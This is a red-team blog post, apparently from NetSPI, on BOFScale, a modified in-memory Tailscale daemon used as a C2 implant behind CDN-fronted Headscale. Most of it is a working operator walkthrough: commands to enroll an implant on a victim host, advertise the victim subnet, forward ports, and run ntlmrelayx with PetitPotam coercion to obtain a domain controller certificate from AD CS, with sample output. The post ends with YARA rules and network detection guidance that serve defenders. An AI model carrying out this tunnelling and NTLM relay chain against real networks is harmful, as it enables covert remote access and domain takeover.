<p class="wp-block-paragraph">The first step, done once before any implant work, is enrolling the operator&#8217;s attack VM in the tailnet. This requires the same modified <code>tailscaled</code> binary that was used to build the implant-side BOF-PE, not a stock Tailscale installation.</p>

<p class="wp-block-paragraph">Stock Tailscale will not connect to a Headscale instance that sits behind a CDN. Without the RFC 6455 WebSocket patches, both the TS2021 control upgrade and the DERP relay upgrade are rejected at the CDN edge. The modified binary applies the same automatic fallback logic on the attack VM as it does in the implant, so the CDN-fronted infrastructure is transparent to both sides.</p>

<p class="wp-block-paragraph">The init script generates two pre-auth keys on first deployment: a reusable ephemeral key for implants and a regular key for the attack VM. Both are printed to the compose output. For subsequent deployments or to generate a fresh one:</p>

<pre class="wp-block-preformatted">docker exec headscale headscale preauthkeys create \ <br>    --user default --expiration 90d </pre>

<p class="wp-block-paragraph">This key should not be marked <code>--ephemeral</code>. Ephemeral nodes are removed after ten minutes offline, which is the right behaviour for implants but not for a persistent operator machine.</p>

<pre class="wp-block-preformatted">sudo ./tailscaled --state /var/lib/tailscale/tailscaled.state &amp; <br> <br>sudo ./tailscale up \ <br>    --login-server https://d1a2b3c4e5f6g7.cloudfront.net \ <br>    --auth-key tskey-auth-... </pre>

<p class="wp-block-paragraph">Once enrolled, implants appear as nodes on the tailnet reachable by their <code>target.tun</code> MagicDNS names or <code>100.64.x.x</code> addresses. All traffic routes through the same CDN-fronted DERP relay.</p>

<h3 id="h-per-implant-workflow" class="wp-block-heading">Per-Implant Workflow</h3>

<p class="wp-block-paragraph">Before touching the implant, generate a pre-auth key from the Headscale host. The init script creates one automatically on first deployment and prints it to the compose output, but for subsequent operations the same command can be run directly against the container.</p>

<pre class="wp-block-preformatted">docker exec headscale headscale preauthkeys create \ <br>    --user default --reusable --ephemeral --expiration 90d </pre>

<p class="wp-block-paragraph">This prints the key to stdout.</p>

<pre class="wp-block-preformatted">tskey-auth-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</pre>

<p class="wp-block-paragraph">The <code>--reusable</code> flag means the same key works across multiple implants without needing to generate a new one for each. The <code>--ephemeral</code> flag matches the Headscale config&#8217;s ten-minute inactivity timeout, so nodes are cleaned up automatically when they go offline rather than accumulating in the node list.</p>

<p class="wp-block-paragraph">With the key in hand, the daemon is started as an async BOF. Because stdout and stderr are both redirected to <code>BeaconOutput</code> by the entry point, all of tailscaled&#8217;s log output arrives in the operator console in real time as the daemon runs. The first line of output is the socket path, which every subsequent <code>tailscale</code> call needs. The Go runtime&#8217;s log stream follows as the userspace networking engine initialises:</p>

<pre class="wp-block-preformatted">[=] No socket provided, using random socket \\.\pipe\8f3a1c2d-4b5e-6f7a-8b9c-0d1e2f3a4b5c <br>2026/07/16 12:34:56 wgengine: using userspace networking <br>2026/07/16 12:34:56 [v1] wgengine: created; tun=userspace-networking </pre>

<p class="wp-block-paragraph">The daemon is now running and listening on the named pipe, but has not yet connected to anything. It is waiting for a command via the local API.</p>

<p class="wp-block-paragraph">With the socket path noted, the node is enrolled against the Headscale instance:</p>

<pre class="wp-block-preformatted">tailscale --socket \\.\pipe\8f3a1c2d-... up --auth-key tskey-auth-... --login-server https://d1a2b3c4e5f6g7.cloudfront.net </pre>

<pre class="wp-block-preformatted">[=] Fetched latest status</pre>

<p class="wp-block-paragraph">The client gives no further enrollment confirmation. Because daemon log output is asynchronous, DERP connectivity messages arrive in the output channel alongside or shortly after the client response:</p>

<pre class="wp-block-preformatted">2026/07/16 12:34:58 control: connected <br>2026/07/16 12:34:58 magicsock: DERP hs (d1a2b3c4e5f6g7.cloudfront.net): connected; latency 38ms </pre>

<p class="wp-block-paragraph">Run <code>status</code> to verify the node is up.</p>

<pre class="wp-block-preformatted">tailscale --socket \\.\pipe\8f3a1c2d-... status </pre>

<pre class="wp-block-preformatted">[=] Fetched latest status <br>Running <br>100.64.0.2      victim-ws01.target.tun.                  - <br>100.64.0.1      operator.target.tun.                     idle, relay hs </pre>

<p class="wp-block-paragraph">Before running connectivity tests, advertise the victim&#8217;s local subnet. The Headscale ACL policy auto-approves advertised routes, so it is immediately active:</p>

<pre class="wp-block-preformatted">tailscale --socket \\.\pipe\8f3a1c2d-... set --advertise-routes 192.168.0.0/24 </pre>

<p class="wp-block-paragraph">With the node visible and the subnet route active, confirm end-to-end connectivity from the attack VM. First, ping the tailnet node itself:</p>

<pre class="wp-block-preformatted">ping -c 1 victim-ws01.target.tun </pre>

<pre class="wp-block-preformatted">PING victim-ws01.target.tun (100.64.0.2) 56(84) bytes of data. <br>64 bytes from victim-ws01.target.tun (100.64.0.2): icmp_seq=1 ttl=64 time=42.3 ms <br> <br>--- victim-ws01.target.tun ping statistics --- <br>1 packets transmitted, 1 received, 0% packet loss, time 0ms <br>rtt min/avg/max/mdev = 42.3/42.3/42.3/0.000 ms </pre>

<p class="wp-block-paragraph">Then ping a host in the advertised subnet to confirm the route is working end to end:</p>

<pre class="wp-block-preformatted">ping -c 1 192.168.0.1 </pre>

<pre class="wp-block-preformatted">PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. <br>64 bytes from 192.168.0.1: icmp_seq=1 ttl=128 time=45.8 ms <br> <br>--- 192.168.0.1 ping statistics --- <br>1 packets transmitted, 1 received, 0% packet loss, time 0ms <br>rtt min/avg/max/mdev = 45.8/45.8/45.8/0.000 ms </pre>

<p class="wp-block-paragraph">It is worth noting the difference between these two pings. When pinging the tailnet node directly, the ICMP response is synthesised by the userspace networking stack inside the implant; there is no real kernel TUN on the victim side so tailscaled handles it internally. When pinging a host in the advertised subnet, the implant issues a real ICMP request on the local network using the Windows ICMP API (<code>IcmpSendEcho2</code>) rather than spawning <code>ping.exe</code>. This is the same IOC reduction described in the daemon section.</p>

<p class="wp-block-paragraph">To forward a port from the victim network to a machine on the tailnet, <code>socksportfwd</code> is started as a second async BOF:</p>

<pre class="wp-block-preformatted">socksportfwd --t attackvm.target.tun --tp 8888 --p 8888 </pre>

<p class="wp-block-paragraph">With the forwarder running, ntlmrelayx is started on the attack VM targeting the AD CS web enrollment endpoint on the CA at <code>192.168.0.20</code>. The target is specified as an IP rather than a hostname since the attack VM has no inherent visibility into the target domain&#8217;s DNS; if the domain&#8217;s DNS server is added to the attack VM&#8217;s resolver configuration, hostnames resolve correctly and can be used instead. The <code>--http-port</code> flag matches the port being forwarded so the WebDAV authentication arrives on the right listener:</p>

<pre class="wp-block-preformatted">ntlmrelayx.py -t http://192.168.0.20/certsrv/certfnsh.asp \ <br>    --adcs --template DomainController \ <br>    --http-port 8888 -smb2support </pre>

<p class="wp-block-paragraph">PetitPotam is then used to coerce <code>dc01</code> at <code>192.168.0.10</code> into authenticating to the compromised host. The <code>@8888</code> suffix in the listener address directs the WebDAV client on <code>dc01</code> to connect on port 8888 rather than the default port 80:</p>

<pre class="wp-block-preformatted">python3 PetitPotam.py -d corp.local -u jsmith -p 'Password123!' \ <br>    victim-ws01.corp.local@8888/a \ <br>    dc01.corp.local </pre>

<p class="wp-block-paragraph"><code>dc01</code>&#8216;s machine account sends NTLM authentication to <code>victim-ws01.corp.local:8888</code>. <code>socksportfwd</code> receives the connection and forwards it through the SOCKS5 proxy to <code>attackvm.target.tun:8888</code> where ntlmrelayx is waiting. ntlmrelayx relays the machine account credentials to the AD CS web enrollment endpoint and a certificate for the DC machine account is issued:</p>

<pre class="wp-block-preformatted">[*] HTTPD(8888): Connection from 100.64.0.2 controlled, attacking target http://192.168.0.20/certsrv/certfnsh.asp <br>[*] Authenticating against http://192.168.0.20/certsrv/certfnsh.asp as CORP/DC01$ SUCCEED <br>[*] Certificate issued for DC01$ <br>[*] Saving certificate to DC01$.pfx </pre>

<p class="wp-block-paragraph">The coerced host, the relay listener, and the relay target are three different machines. The victim network sees only a WebDAV connection to a host it already trusts. The relay infrastructure is entirely invisible from that vantage point.</p>

<p class="wp-block-paragraph">When the operation is done, the port forwarder is stopped through the C2&#8217;s job management. Because the Go runtime does not exit cleanly when the hosting PE is unmapped, the daemon cannot be terminated gracefully through <code>tailscale shutdown</code>. The correct way to stop it is to kill the sacrificial process it was injected into using the C2&#8217;s process termination capability.</p>

<h2 id="h-defensive-considerations" class="wp-block-heading">Defensive Considerations</h2>

<div class="wp-block-group max-w-[90%]"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained">
<p class="wp-block-paragraph">There is no TUN adapter, no <code>tailscale</code> service entry, no disk state, and no child processes after startup. The named pipe has a random UUID in its path and uses a permissive SDDL that does not match what a legitimate Tailscale installation creates.</p>

<p class="wp-block-paragraph">The outbound traffic is WebSocket connections to CDN domains. Without knowing the specific distributions in use, these are difficult to distinguish from any other application using WebSockets through a CDN.</p>

<p class="wp-block-paragraph">At the process level, the Go runtime heap is present inside a process that is not a Go binary. A sufficiently thorough memory scan looking for Go runtime signatures in unexpected processes would find most memory resident Go binaries. We have also include bofscale.yara in the <a href="https://github.com/NetSPI/BOFscale">GitHub repository</a> which can detect all three components without generating false positives against legitimate tailscale binaries.</p>

<p class="wp-block-paragraph">The SOCKS5 server exposed by the daemon is bound to <code>0.0.0.0:1080</code>, not the loopback interface. It is visible to any host that can reach the compromised machine on that port, and network monitoring tools that enumerate local listening sockets would see it alongside the process owning it.</p>

<p class="wp-block-paragraph">For defenders, the most reliable signal is probably the combination of a loopback SOCKS5 listener with no corresponding process in the expected location and outbound WebSocket connections to CDN addresses with DERP or TS2021 subprotocols. But TLS inspection is needed to see this level of information in the requests. Neither is conclusive on its own, but together they are worth a closer look.</p>
</div></div>

<p class="wp-block-paragraph">Source code and build instructions are available at <a href="https://github.com/NetSPI/BOFscale" data-type="link" data-id="https://github.com/NetSPI/BOFscale" target="_blank" rel="noreferrer noopener">GitHub &#8211; BOFscale</a>.</p>

<h2 id="h-detection-and-hunting-guidance" class="wp-block-heading">Detection and Hunting Guidance</h2>

<h5 id="h-detection-opportunity-1-bofscale-bof-pe-in-memory-signature-detection" class="wp-block-heading py-3"><strong>Detection Opportunity #1: </strong>BOFScale BOF-PE In-Memory Signature Detection</h5>

<ul class="wp-block-list even-spaced zero-left list-none li-15">
<li><strong>Data Source: </strong>Process: Process Access</li>

<li><strong>Detection Strategy: </strong>Signature</li>

<li><strong>Detection Concept:</strong>  Deploy the following YARA rules to scan process memory for BOFScale BOF-PE components. These rules use hex-encoded string patterns to match unique indicators present in the compiled binaries that are not found in legitimate Tailscale installations.
<ul class="wp-block-list even-spaced zero-left list-none li-15 pt-5 mt-3">
<li><details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><code>rule BOFScale_Tailscaled_BOFPE</code></summary> <pre class="wp-block-preformatted">rule BOFScale_Tailscaled_BOFPE { <br> meta: <br> description = "Detects tailscaled BOF-PE - modified Tailscale daemon running in-memory via C2" <br> author = "NetSPI" <br> severity = "critical" <br><br> strings: <br> // "tailscaled shutdown gracefully" <br> $s1 = { 74 61 69 6C 73 63 61 6C 65 64 20 73 68 75 74 64 6F 77 6E 20 67 72 61 63 65 66 75 6C 6C 79 } <br> // "No socket provided, using random socket" <br> $s2 = { 4E 6F 20 73 6F 63 6B 65 74 20 70 72 6F 76 69 64 65 64 2C 20 75 73 69 6E 67 20 72 61 6E 64 6F 6D 20 73 6F 63 6B 65 74 } <br> // "beaconWriter" - Go type redirecting stdout to Beacon API <br> $s3 = { 62 65 61 63 6F 6E 57 72 69 74 65 72 } <br> // "TS_DEBUG_DERP_WS_CLIENT" - forces WebSocket DERP relay <br> $s4 = { 54 53 5F 44 45 42 55 47 5F 44 45 52 50 5F 57 53 5F 43 4C 49 45 4E 54 } <br> // "program.exe" - fake argv[0] placeholder <br> $s5 = { 70 72 6F 67 72 61 6D 2E 65 78 65 } <br> // "-tun=userspace-networking" <br> $s6 = { 2D 74 75 6E 3D 75 73 65 72 73 70 61 63 65 2D 6E 65 74 77 6F 72 6B 69 6E 67 } <br> // "-no-logs-no-support" <br> $s7 = { 2D 6E 6F 2D 6C 6F 67 73 2D 6E 6F 2D 73 75 70 70 6F 72 74 } <br> // "BeaconOutput" - CGO import for C2 output <br> $b1 = { 42 65 61 63 6F 6E 4F 75 74 70 75 74 } <br> // "BeaconDataParse" - BOF data parsing <br> $b2 = { 42 65 61 63 6F 6E 44 61 74 61 50 61 72 73 65 } <br> // "BeaconDataExtract" - BOF argument extraction <br> $b3 = { 42 65 61 63 6F 6E 44 61 74 61 45 78 74 72 61 63 74 } <br> // "-state" + "mem:" co-occurrence (in-memory state, no disk) <br> $s8 = { 2D 73 74 61 74 65 } <br> $s9 = { 6D 65 6D 3A } <br><br> condition: <br> ($s1 or $s2 or $s3) and <br> (1 of ($b*)) and <br> (2 of ($s4, $s5, $s6, $s7, $s8, $s9)) <br>} </pre></details></li>

<li><details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><code>rule BOFScale_Tailscale_Client_BOFPE</code></summary> <pre class="wp-block-preformatted">rule BOFScale_Tailscale_Client_BOFPE { <br> meta: <br> description = "Detects tailscale BOF-PE - C++ client controlling tailscaled daemon over named pipe" <br> author = "NetSPI" <br> severity = "critical" <br><br> strings: <br> // "tailscale IPR pipe, is tailscaled async BOF running" <br> $s1 = { 74 61 69 6C 73 63 61 6C 65 20 49 50 52 20 70 69 70 65 2C 20 69 73 20 74 61 69 6C 73 63 61 6C 65 64 20 61 73 79 6E 63 20 42 4F 46 20 72 75 6E 6E 69 6E 67 } <br> // "status from backed" - distinctive typo fingerprint <br> $s2 = { 73 74 61 74 75 73 20 66 72 6F 6D 20 62 61 63 6B 65 64 } <br> // "No headscale login-server provided" <br> $s3 = { 4E 6F 20 68 65 61 64 73 63 61 6C 65 20 6C 6F 67 69 6E 2D 73 65 72 76 65 72 20 70 72 6F 76 69 64 65 64 } <br> // "Host: local-tailscaled.sock" <br> $s4 = { 48 6F 73 74 3A 20 6C 6F 63 61 6C 2D 74 61 69 6C 73 63 61 6C 65 64 2E 73 6F 63 6B } <br> // "Tailscale-Cap: 125" <br> $s5 = { 54 61 69 6C 73 63 61 6C 65 2D 43 61 70 3A 20 31 32 35 } <br> // "WantRunningSet" - local API prefs mask <br> $s6 = { 57 61 6E 74 52 75 6E 6E 69 6E 67 53 65 74 } <br> // "AdvertiseRoutesSet" <br> $s7 = { 41 64 76 65 72 74 69 73 65 52 6F 75 74 65 73 53 65 74 } <br> // "No socket provided, bailing" <br> $s8 = { 4E 6F 20 73 6F 63 6B 65 74 20 70 72 6F 76 69 64 65 64 2C 20 62 61 69 6C 69 6E 67 } <br> // "igoring" - distinctive misspelling of "ignoring" <br> $s9 = { 69 67 6F 72 69 6E 67 } <br> // "Fetched latest status" <br> $s10 = { 46 65 74 63 68 65 64 20 6C 61 74 65 73 74 20 73 74 61 74 75 73 } <br> // "NotepadURLs" - internal pref key <br> $s11 = { 4E 6F 74 65 70 61 64 55 52 4C 73 } <br> // "FrontendLogID" - startup JSON field <br> $s12 = { 46 72 6F 6E 74 65 6E 64 4C 6F 67 49 44 } <br> // "zzzzzzzzzzz" - BEACON_MAIN format string (11 z's) <br> $b1 = { 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A } <br> // "BeaconDataParse" - BOF data parsing <br> $b2 = { 42 65 61 63 6F 6E 44 61 74 61 50 61 72 73 65 } <br><br> condition: <br> ($s1 or $s2 or $s3) or <br> ($s4 and $s5 and 2 of ($s6, $s7, $s8, $s9, $s10, $s11, $s12)) or <br> ($b1 and $b2 and 1 of ($s4, $s5, $s6, $s7)) <br>} <br></pre></details></li>

<li><details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><code>rule BOFScale_SocksPortFwd_BOFPE</code></summary> <pre class="wp-block-preformatted">rule BOFScale_SocksPortFwd_BOFPE { <br> meta: <br> description = "Detects socksportfwd BOF-PE - async SOCKS5 port forwarder for C2 implant" <br> author = "NetSPI" <br> severity = "high" <br><br> strings: <br> // "setevent 0x%x' or your C2 built in features to stop the task" <br> $s1 = { 72 74 6F 2D 73 65 74 65 76 65 6E 74 20 30 78 25 78 } <br> // "This BOF only supports execution via the async API" <br> $s2 = { 54 68 69 73 20 42 4F 46 20 6F 6E 6C 79 20 73 75 70 70 6F 72 74 73 20 65 78 65 63 75 74 69 6F 6E 20 76 69 61 20 74 68 65 20 61 73 79 6E 63 20 41 50 49 } <br> // "stop event from beacon API" <br> $s3 = { 73 74 6F 70 20 65 76 65 6E 74 20 66 72 6F 6D 20 62 65 61 63 6F 6E 20 41 50 49 } <br> // "Port forwarder listening on %s:%d" <br> $s4 = { 50 6F 72 74 20 66 6F 72 77 61 72 64 65 72 20 6C 69 73 74 65 6E 69 6E 67 20 6F 6E 20 25 73 3A 25 64 } <br> // "Forwarding to %s:%d via SOCKS5 proxy %s:%d" <br> $s5 = { 46 6F 72 77 61 72 64 69 6E 67 20 74 6F 20 25 73 3A 25 64 20 76 69 61 20 53 4F 43 4B 53 35 20 70 72 6F 78 79 20 25 73 3A 25 64 } <br> // "igoring" - distinctive misspelling shared with tailscale <br> $s6 = { 69 67 6F 72 69 6E 67 } <br> // "SOCKS5 connection established to target" <br> $s7 = { 53 4F 43 4B 53 35 20 63 6F 6E 6E 65 63 74 69 6F 6E 20 65 73 74 61 62 6C 69 73 68 65 64 20 74 6F 20 74 61 72 67 65 74 } <br> // "Shutdown event signaled" <br> $s8 = { 53 68 75 74 64 6F 77 6E 20 65 76 65 6E 74 20 73 69 67 6E 61 6C 65 64 } <br> // "BeaconGetStopJobEvent" - async BOF API <br> $b1 = { 42 65 61 63 6F 6E 47 65 74 53 74 6F 70 4A 6F 62 45 76 65 6E 74 } <br> // "--t and --tp are mandatory" <br> $s9 = { 2D 2D 74 20 61 6E 64 20 2D 2D 74 70 20 61 72 65 20 6D 61 6E 64 61 74 6F 72 79 } <br> // "zzzzzzzzzzzz" - BEACON_MAIN format string (12 z's) <br> $b2 = { 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A 7A } <br><br> condition: <br> (1 of ($s1, $s2, $s3)) or <br> ($b1 and 2 of ($s4, $s5, $s6, $s7, $s8, $s9)) or <br> ($b2 and $b1 and 1 of ($s4, $s5)) <br>} <br></pre></details></li>

<li><details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><code>rule BOFScale_Generic_BOFPE</code></summary> <pre class="wp-block-preformatted">rule BOFScale_Generic_BOFPE { <br> meta: <br> description = "Generic detection for any BOFScale component running in memory" <br> author = "NetSPI" <br> severity = "high" <br><br> strings: <br> // "async BOF" - referenced across components <br> $s1 = { 61 73 79 6E 63 20 42 4F 46 } <br> // "igoring" - distinctive typo in both tailscale and socksportfwd <br> $s2 = { 69 67 6F 72 69 6E 67 } <br> // "BeaconDataParse" <br> $b1 = { 42 65 61 63 6F 6E 44 61 74 61 50 61 72 73 65 } <br> // "BeaconDataExtract" <br> $b2 = { 42 65 61 63 6F 6E 44 61 74 61 45 78 74 72 61 63 74 } <br> // "BeaconPrintf" <br> $b3 = { 42 65 61 63 6F 6E 50 72 69 6E 74 66 } <br> // "BeaconOutput" <br> $b4 = { 42 65 61 63 6F 6E 4F 75 74 70 75 74 } <br> // "BeaconGetStopJobEvent" <br> $b5 = { 42 65 61 63 6F 6E 47 65 74 53 74 6F 70 4A 6F 62 45 76 65 6E 74 } <br> // "beaconWriter" <br> $b6 = { 62 65 61 63 6F 6E 57 72 69 74 65 72 } <br> // "local-tailscaled.sock" <br> $t1 = { 6C 6F 63 61 6C 2D 74 61 69 6C 73 63 61 6C 65 64 2E 73 6F 63 6B } <br> // "tailscaled shutdown gracefully" <br> $t2 = { 74 61 69 6C 73 63 61 6C 65 64 20 73 68 75 74 64 6F 77 6E 20 67 72 61 63 65 66 75 6C 6C 79 } <br> // "setevent" <br> $t3 = { 72 74 6F 2D 73 65 74 65 76 65 6E 74 } <br> // "headscale login-server" <br> $t4 = { 68 65 61 64 73 63 61 6C 65 20 6C 6F 67 69 6E 2D 73 65 72 76 65 72 } <br><br> condition: <br> (2 of ($b*)) and (1 of ($s*) or 1 of ($t*)) <br>}</pre></details></li>
</ul>
</li>

<li><strong>Detection Reasoning:</strong> <br>These YARA rules target strings that are unique to the BOF-PE variants of Tailscale and are not present in legitimate Tailscale binaries. The tailscaled rule specifically targets BOF-PE adaptations such as the beaconWriter Go type, the TS_DEBUG_DERP_WS_CLIENT environment variable forcing WebSocket DERP, and the program.exe fake argv[0]. The tailscale rule keys on the distinctive error message referencing &#8220;async BOF running&#8221;, a typo of &#8220;backed&#8221; instead of &#8220;backend&#8221;, and explicit Headscale references. The socksportfwd rule targets references to setevent, the &#8220;beacon API&#8221;, and the async BOF execution requirement. All rules have been validated to produce zero false positives against legitimate Tailscale binaries compiled from the same source tree.</li>

<li><strong>Known Detection Consideration:</strong> <br>These rules are effective for scanning process memory at a point in time but require an EDR or memory scanning capability that supports YARA. The hex patterns match compiled binary strings and will break if an attacker modifies the source strings, recompiles, or applies binary obfuscation. The generic rule (BOFScale_Generic_BOFPE) may match other BOF-PE tooling that combines Beacon API functions with Tailscale-related strings; review matches in context before escalating.</li>
</ul>

<h5 id="h-detection-opportunity-2-websocket-upgrade-with-derp-or-ts2021-subprotocol" class="wp-block-heading py-3"><strong>Detection Opportunity #2: </strong>WebSocket Upgrade with DERP or TS2021 Subprotocol</h5>

<ul class="wp-block-list even-spaced zero-left list-none li-15">
<li><strong>Data Source: </strong>Network Traffic: Network Connection Creation</li>

<li><strong>Detection Strategy: </strong>Signature</li>

<li><strong>Detection Concept:</strong> <br>Detect on outbound HTTPS connections performing a WebSocket upgrade (Upgrade: websocket) where the Sec-WebSocket-Protocol header contains derp or ts2021. These subprotocols are specific to Tailscale&#8217;s relay (DERP) and control plane (TS2021) protocols. In BOFScale&#8217;s configuration, these connections are directed through a CDN such as CloudFront or Fastly on port 443.
<ul class="wp-block-list">
<li><code>Sec-WebSocket-Protocol: derp </code></li>

<li><code>Sec-WebSocket-Protocol: ts2021 </code></li>
</ul>
</li>

<li><strong>Detection Reasoning:</strong> <br>Tailscale uses proprietary subprotocols for its DERP relay (derp) and control plane (ts2021). In a legitimate enterprise deployment, these connections would originate from the tailscaled.exe service process. BOFScale tunnels these same protocols through RFC 6455 WebSocket connections to traverse CDN infrastructure, meaning the WebSocket upgrade will originate from an unrelated process such as a browser or office application hosting the C2 implant. Detecting these subprotocols from a process that is not tailscaled.exe or from a host with no authorized Tailscale installation is a strong indicator of compromise.</li>

<li><strong>Known Detection Consideration:</strong> <br>TLS inspection or a TLS-terminating proxy is required to observe WebSocket upgrade headers within HTTPS traffic. Environments that do not perform TLS inspection will not be able to detect this at the network layer. Legitimate Tailscale installations will also generate these subprotocols, so the detection should exclude hosts with an authorized Tailscale deployment or filter to processes that are not the legitimate tailscaled.exe service.</li>
</ul>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/red-teaming/bofscale-a-cdn-fronted-tailnet-from-a-bof-pe/">BOFScale: A CDN-Fronted Tailnet from a BOF-PE</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
原文链接:https://www.netspi.com/blog/technical-blog/red-teaming/bofscale-a-cdn-fronted-tailnet-from-a-bof-pe/